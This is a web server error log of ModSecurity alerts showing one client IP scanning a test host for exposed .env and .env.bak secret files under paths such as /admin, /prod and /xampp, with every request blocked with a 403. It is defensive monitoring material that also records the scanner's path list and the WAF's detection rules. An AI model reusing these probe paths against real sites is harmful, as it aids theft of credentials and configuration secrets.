[Wed Nov 26 19:08:41.933552 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /nginx/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolIAAAAAA"]
[Wed Nov 26 19:08:41.933789 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolIAAAAAA"]
[Wed Nov 26 19:08:41.934006 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/nginx/.env"] [unique_id "aSdCKdg2L5I3j1bw0PolIAAAAAA"]
[Wed Nov 26 19:08:42.021025 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /public/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSdCKtg2L5I3j1bw0PolIQAAAAA"]
[Wed Nov 26 19:08:42.021273 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSdCKtg2L5I3j1bw0PolIQAAAAA"]
[Wed Nov 26 19:08:42.021467 2025] [:error] [pid 332763] [client 195.178.110.110:56598] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/public/.env"] [unique_id "aSdCKtg2L5I3j1bw0PolIQAAAAA"]
[Wed Nov 26 19:08:46.962373 2025] [:error] [pid 332947] [client 195.178.110.110:34298] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCLqIAYfjGSdo5sO6DVAAAAAY"]
[Wed Nov 26 19:08:46.962638 2025] [:error] [pid 332947] [client 195.178.110.110:34298] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCLqIAYfjGSdo5sO6DVAAAAAY"]
[Wed Nov 26 19:08:46.962819 2025] [:error] [pid 332947] [client 195.178.110.110:34298] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCLqIAYfjGSdo5sO6DVAAAAAY"]
[Wed Nov 26 19:09:03.624540 2025] [:error] [pid 332765] [client 195.178.110.110:48590] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /site/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCP66rD5eHUPU8N3cg5AAAAAI"]
[Wed Nov 26 19:09:03.624869 2025] [:error] [pid 332765] [client 195.178.110.110:48590] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCP66rD5eHUPU8N3cg5AAAAAI"]
[Wed Nov 26 19:09:03.625047 2025] [:error] [pid 332765] [client 195.178.110.110:48590] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/site/.env"] [unique_id "aSdCP66rD5eHUPU8N3cg5AAAAAI"]
[Wed Nov 26 19:09:12.770042 2025] [:error] [pid 336729] [client 195.178.110.110:34400] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCSBYc3OAEw9RHe6IsTAAAAAo"]
[Wed Nov 26 19:09:12.770281 2025] [:error] [pid 336729] [client 195.178.110.110:34400] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCSBYc3OAEw9RHe6IsTAAAAAo"]
[Wed Nov 26 19:09:12.770475 2025] [:error] [pid 336729] [client 195.178.110.110:34400] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCSBYc3OAEw9RHe6IsTAAAAAo"]
[Wed Nov 26 19:09:20.208042 2025] [:error] [pid 336732] [client 195.178.110.110:34406] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCUDG2dTj3WsfmBXw0GgAAAA0"]
[Wed Nov 26 19:09:20.208295 2025] [:error] [pid 336732] [client 195.178.110.110:34406] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCUDG2dTj3WsfmBXw0GgAAAA0"]
[Wed Nov 26 19:09:20.208493 2025] [:error] [pid 336732] [client 195.178.110.110:34406] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/xampp/.env"] [unique_id "aSdCUDG2dTj3WsfmBXw0GgAAAA0"]
[Wed Nov 26 19:09:30.908984 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /main/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aSdCWtFEE-YEDclto1jQxgAAAA4"]
[Wed Nov 26 19:09:30.909315 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aSdCWtFEE-YEDclto1jQxgAAAA4"]
[Wed Nov 26 19:09:30.909539 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/main/.env"] [unique_id "aSdCWtFEE-YEDclto1jQxgAAAA4"]
[Wed Nov 26 19:09:31.014930 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /node_modules/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aSdCW9FEE-YEDclto1jQxwAAAA4"]
[Wed Nov 26 19:09:31.015272 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aSdCW9FEE-YEDclto1jQxwAAAA4"]
[Wed Nov 26 19:09:31.015509 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/node_modules/.env"] [unique_id "aSdCW9FEE-YEDclto1jQxwAAAA4"]
[Wed Nov 26 19:09:31.111305 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /kyc/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyAAAAA4"]
[Wed Nov 26 19:09:31.111532 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyAAAAA4"]
[Wed Nov 26 19:09:31.111716 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/kyc/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyAAAAA4"]
[Wed Nov 26 19:09:31.233932 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /admin/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyQAAAA4"]
[Wed Nov 26 19:09:31.234172 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyQAAAA4"]
[Wed Nov 26 19:09:31.234385 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/admin/.env"] [unique_id "aSdCW9FEE-YEDclto1jQyQAAAA4"]
[Wed Nov 26 19:09:31.330071 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aSdCW9FEE-YEDclto1jQygAAAA4"]
[Wed Nov 26 19:09:31.330464 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aSdCW9FEE-YEDclto1jQygAAAA4"]
[Wed Nov 26 19:09:31.330727 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/prod/.env"] [unique_id "aSdCW9FEE-YEDclto1jQygAAAA4"]
[Wed Nov 26 19:09:31.431439 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "997"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSdCW9FEE-YEDclto1jQywAAAA4"]
[Wed Nov 26 19:09:31.431571 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSdCW9FEE-YEDclto1jQywAAAA4"]
[Wed Nov 26 19:09:31.431782 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSdCW9FEE-YEDclto1jQywAAAA4"]
[Wed Nov 26 19:09:31.431985 2025] [:error] [pid 336733] [client 195.178.110.110:40976] [client 195.178.110.110] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/.env.bak"] [unique_id "aSdCW9FEE-YEDclto1jQywAAAA4"]
[Wed Nov 26 19:09:32.449538 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /website/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEAAAAAg"]
[Wed Nov 26 19:09:32.449775 2025] [:error] [pid 334002] [client 195.178.110.110:41782] [client 195.178.110.110] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/website/.env"] [unique_id "aSdCXPJt2cox8jom8lwSEAAAAAg"]
